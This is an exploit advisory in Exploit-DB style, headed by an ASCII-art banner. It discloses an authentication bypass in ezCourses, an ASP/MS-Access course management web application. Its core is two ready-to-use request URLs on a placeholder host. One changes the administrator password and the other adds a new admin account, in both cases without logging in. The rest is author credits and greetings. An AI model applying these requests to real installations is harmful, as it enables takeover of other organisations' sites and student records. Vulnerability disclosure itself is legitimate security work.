,-.-.          |              |     |   |          |    o           ,---.                    o     |    o          
| | |,---.,---.|---.,---.,---.|---. |---|,---.,---.|__/ .,---.,---. |---|,---.,---.,---.,---..,---.|--- .,---.,---.
| | |,---||   ||   ||    |---'|   | |   |,---||    |  \ ||   ||   | |   |`---.`---.|   ||    |,---||    ||   ||   |
` ' '`---^`---|`   '`    `---'`---'o`   '`---^`---'`   ```   '`---|o`   '`---'`---'`---'`---'``---^`---'``---'`   '
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
# Exploit Title: ezCourses Remote Permission Bypass Vulnerability
# Author: J.O
# Contact: exploit@m-h-a.org
# Website: https://www.m-h-a.org
# From : Morocco   
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
# Application : ezCourses 
# URL         : https://www.ezhrs.com/ezCourses.asp
# Demo        : https://www.ezhrs.com/ezCourses/default.asp
# Description : ezCourses - Is ASP web application with an MS-Access database backbone and Is an online Course management system that allows your organization to manage courses and monitor students and registration. 
Students register and keep track of their schedule and development profile. 
# Tested on: Windows 7 , Ubuntu-Maroc ( Private )
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Change Admin Password : https://www.site.com/ezCourses/admin/admin.asp?cmd=edit_admin&AdminID=1&Master=Master 

Add Admin Account :  https://www.site.com/ezCourses/admin/admin.asp?cmd=add_admin&AdminID=1

Note : ( There's Many Other Permissions & vulnerabilities ) .

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
# Greetz To  : IcedHell , Hakykaz , Boughazi Moha , Geek Adil , Mouha Fox , YASSINE BOUSSLIM (R.I.P Brother) , And ALL MHA Members ( White Hats Are The Best ) .
# We  JUst L0ve Security . 
# ALLAH , ALWATAN , ALMALIK .